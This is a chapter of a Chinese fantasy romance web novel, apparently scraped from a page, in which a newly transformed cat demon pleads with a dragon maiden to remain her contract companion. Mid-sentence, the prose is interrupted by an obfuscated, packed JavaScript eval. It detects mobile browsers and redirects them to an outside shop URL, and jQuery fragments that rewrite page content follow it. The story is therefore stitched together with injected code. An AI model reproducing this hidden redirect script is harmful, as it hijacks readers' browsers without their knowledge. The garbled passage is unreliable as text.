翌日,隋澈伸了一个大大的懒腰,缓缓睁开双眼时手还没放下,余光就扫见了什么,突然定住:这是……腿?
不知何时龙尾变回双腿,肤若凝脂、白皙细腻,修长笔直,正以慵懒姿态随意搭在床边,被隋澈枕于头下……
等等!头?我的头……隋澈双手抱住脑袋摸来摸去,即又将十指置于眼前翻来覆去地审视,瞠目窃喜:是人的手!我化形了?!
他欣喜若狂,“腾”一下翻身坐起,低着头仔仔细细端量自己的身体且自言自语道:“化形了!我真的化形了!我简直是天生的修仙奇才啊哈哈哈哈——”
笑声吵醒了龙女。
华潋蹙眉转醒,睁眼便见床上坐着一男子。虽说其貌眉清目秀、神采飞扬,其发墨黑蜿蜒、流云泻地,其身挺拔匀称、骨骼俊秀,可……
没穿衣裳是怎么回事?
华潋浅怔,下一刻移开视线、抬动膝足,连同被衾一起把对方踢下了床,力道颇大。
隋澈闪躲不及,直接被踹到屋内另侧还打了个滚儿,吃痛地叨咕:“哎呀!好痛呀!”他揉着屁股站起来,猛然发现全身赤条条的,慌里慌张地抓过被衾裹住自身,心里念叨着:完了忘了,初初化形术法不稳,恐难以衣蔽体……真是失态!
“小花恩仙,没吓到您吧?”隋澈小心翼翼地问。
倒没有被吓到,华潋只是有一点不悦,皱着眉头说:“你不是小猫。”
“呃,我昨晚说过我年岁不小了嘛。若在妖界,我这年岁早就成亲了。”隋澈撇了撇嘴,脖颈轻昂神气地说,“不过我是有大抱负的,不囿于情爱!只求成仙!”
华潋显然对此不感兴趣,轻言斟酌:“你昨晚……抱着我的腿睡觉?”
“对不起!”隋澈脱口而出,双手紧紧揪住衾角,万分诚恳地鞠躬不起,高声致歉,“对不起恩仙!我真没想到能这么快化形!我要是知道的话一定同恩仙您保持距离的,岂敢造次呀!我……”
之后的话,华潋压根没听进去,满心想的都是先前她怀抱玄猫、给玄猫洗澡以及允许玄猫上床睡觉这些亲密举止,换言之,种种事情皆是同眼前这男子做的……
还有,拍人家的尾巴根,可不可以理解为是在……
真是不敢想下去!
藏于身侧的手暗暗攥拳,华潋尽可能淡定地开口:“我会尽快去慈赈司换一位契友……”
“为什么啊?!”万没料到事情竟会如此严重,隋澈一声惊呼截断华潋的话,心急火燎地朝她跑去,结果才迈两步就被衾单绊倒跪趴在地。他不顾狼狈拼命往前挪蹭,一边快速靠近华潋,一边用可怜兮兮的语气问她,“恩仙不要我了吗?恩仙要抛弃我了吗?我做错了什么吗?倘若因为昨晚的事,我、我可以赔罪的!恩仙怎样处罚我都好,不要赶我走!求求恩仙了……”
只恨眼下无法随心所欲化形,不然此刻变回玄猫再作讨好姿态,一定更能令龙女心软!隋澈暗忖,竭力装出孤苦伶仃、无所依傍的惨态。一番努力下,这双明眸居然真的氲出了水汽,圆溜之状还真与金色猫瞳无异。
华潋心头微悸。然而,她自有不便言明的顾虑,故为难地劝:“我也是为你好……”
为你好……
隋澈眸光渐沉。念及幼时往事,他着实不喜欢这句话。
华潋不忍直视此般无辜之相,偏了偏头,又犹豫地吐出半句:“事关声誉……”却仍是一副顾虑重重的样子,未能言尽。
看来事情还有转机。隋澈迅速思考,半晌,神情严肃道:“是,女子声誉尤为重要!”
华潋不解:“怎么突然提起这个?”
隋澈更是纳闷,同她面面相觑:“恩仙难道不是怕同我独处浮玉山被人知晓有损声誉吗?”
华潋哑然,啼笑皆非:“不是我的声誉,是你的。”
“我?”隋澈指指自己,“我有什么声誉啊?”
“这话说的……”华潋闻言忍不住笑,少顷又叹,“罢了,你执意要问,我只好如实回答。”
隋澈忙不迭点头,摆出恭听姿态。
“世间俗语有云,龙性本淫,且看四海龙王无不是子孙昌盛便知。我虽为女子,却逃不过被人拿这话说三道四。若只是‘牛见花’便罢了,若叫人知晓你实则是与龙女华潋同进同出,你想想旁人会怎样非议于你?”
隋澈怔住,张着嘴愣了好一会儿才惑然道:“非议?这,很重要吗?”
华潋略感惊奇,不免从头到脚重新打量眼前之人。想到他原先是妖,许是不知仙界何等风气,她便理解两分,耐心解释起来:“仙者以声誉为重,你既要成仙,理当学会遵循此约定俗成,融于其中而毋当异类。因此,你还是回慈赈司另择他人吧,免得受我牵连,坏了你的名声。”
“啧,怎么还有这规矩?以前没听说仙界这么多事儿呀?”隋澈嘀咕。
“仙界本就如此。”华潋淡淡道,“我以为小猫只是小猫,没想到你化成人形后……嗯,并不小,所以……”
“你不能因为我大就不要我了呀!”隋澈心急口快忘用敬称,怕龙女生气赶忙又说,“咱们好歹是同生共死、同床共枕过的契友嘛!非要说声誉,那也早就毁了呀!”
“……”
这都什么浑话。华潋无言以对,但细一想,似乎又有点道理……
不,是歪理。
隋澈观其不语,趁热打铁地补充道:“小花恩仙,我觉得您多虑了。泱泱仙界,绝非只我一人视虚名如无物,那些与我见地相同的仙家们不都过得好好的嘛?唔,要是嫌我碍事的话,那恩仙就……就把我变回玄猫好啦!我保证未经您同意,绝不擅自化形!”虽然那样很不方便,不但要舔毛、要埋屎还要应付小母猫,但能留在龙女身边,总归利大于弊。
华潋慧眼微瞸,目光审视,稍稍前倾身子靠近隋澈,直视他道:“你非要当我的契友,莫不是另有所图?”
小心思被戳穿,隋澈嘿嘿一笑,实话实说:“恩仙,我不想骗您,我是觉得跟在您身边能更快地成仙,所以甘愿为您当牛做马。您放心,今后我一定好好办差、多多积攒功德!争取早日修成仙道,不给您丢脸!”
确是实话。华潋沉吟:“既如此,那好……”
“恩仙答应留下我啦?!呜呼太棒——”
“还是要去一趟慈赈司。”
“啊?”隋澈满面喜色忽而僵滞,堂堂龙女难不成出尔反尔?他忐忑不安,眼底忧愁瞬息涌现,瘪唇哼语,“为何还要去呀?”
华潋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356425|199687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斜睨,见那张俊脸正蹙眉撇嘴的大有撒痴之意,抑住欲扬的唇角反问道:“怎么,你不想去慈赈司领取你的功德簿?”
“哦?”隋澈愣了一下,旋即又露出盈盈笑脸,乐不可支,频频点头,“那可以去,嘻嘻,现在就去!”
“先完成任务。”
“是!但凭恩仙吩咐!”隋澈笑得合不拢嘴。
华潋看着裹在被衾里顾自傻乐的隋澈,心想:逗猫,还挺有趣的。随后,她伸出食指在他的眉心轻轻一点。
隋澈顿感额间多了一条细带,抬手去摸,却不小心与华潋指尖相碰。
温热的触感令他二人都迅速地移开了手。
指尖不受控地跳动两下,飘忽的目光恰好捕捉到这一幕,华潋面色闪过些许的不自在,当即收手于身侧,垂眸敛容,好似无事发生。
隋澈佯作不察,打破沉默道:“恩仙,这是什么啊?”说着再次摸去,猜是抹额,中间还嵌有一颗冰凉凉的,应为宝石。
“织星额带。”华潋语声平淡,“化形初期尚不稳定,总不能你每回变成人都光溜溜的吧?”
隋澈赧然笑笑,抱住被衾挪远了一点,怕被恩仙嫌弃似的。
华潋亦端正坐好,又道:“此物可贮衣千件。我方才往里放了一百件衣裳,不知你是否喜……是否穿得惯。待完成任务拿到仙灵通宝,我再带你去纤衣阁买便是。”
这就是有钱的快乐吗?隋澈先是欣喜,然忆及亲闱家事,酸涩之感萦于心头。这回他发自本心地低垂眼皮、咬住下唇、沉着嘴角哼哼唧唧地告诉华潋:“我从来没有这么多的衣裳。”言罢又觉得羞愧懊恼,默默挪到更远处。
华潋不知作何安慰,毕竟她从未遇到过这个问题:东渊龙王虽不认她,但同为龙族多少要留点体面,是以钱财一事,东渊龙王不曾亏待过她。
犹豫再三,华潋问道:“你以前过的都是什么日子啊?”
“……”
“你家人待你不好吗?”
“……”
隋澈面露难色,迟迟没有回应,只把头埋得更低,唇边牵起的笑容愈发勉强。
见他这般,华潋顿生悔意:我何必问这么多!她于心不忍,琢磨了一下,施法将隋澈变回玄猫。
“哎?我怎么又变猫了……”隋澈被蒙在被衾里,说话声闷闷的。
华潋置若罔闻,径直把玄猫抱入怀中。明明之前抱过多次,此刻她的动作却生疏起来,略显僵硬地拍抚玄猫的背,不知其能否感受到安慰之意。
隋澈声音比刚刚在被衾里还闷:“嗯嗯。”
“什么?”
华潋是真的没听清楚。
隋澈只好朝她的臂窝拱拱猫头,再道:“我说……谢谢!”
华潋松一口气,轻挠玄猫的头,突然道:“对了,你……我,我还不知你的名字。”她莫名恍惚,这句再寻常不过的问话,怎竟说得有些慌乱?
隋澈调整姿势,先用两只前爪抱一下华潋的手,然后伸出猫甲在她掌心认认真真、一笔一划地写下自己的名字,动作轻极,生怕利爪弄疼了她。
“我叫隋澈。”
华潋只觉得手心痒痒的。待他写完,她慢慢合起手掌,颔首应道:“好,我记住了。”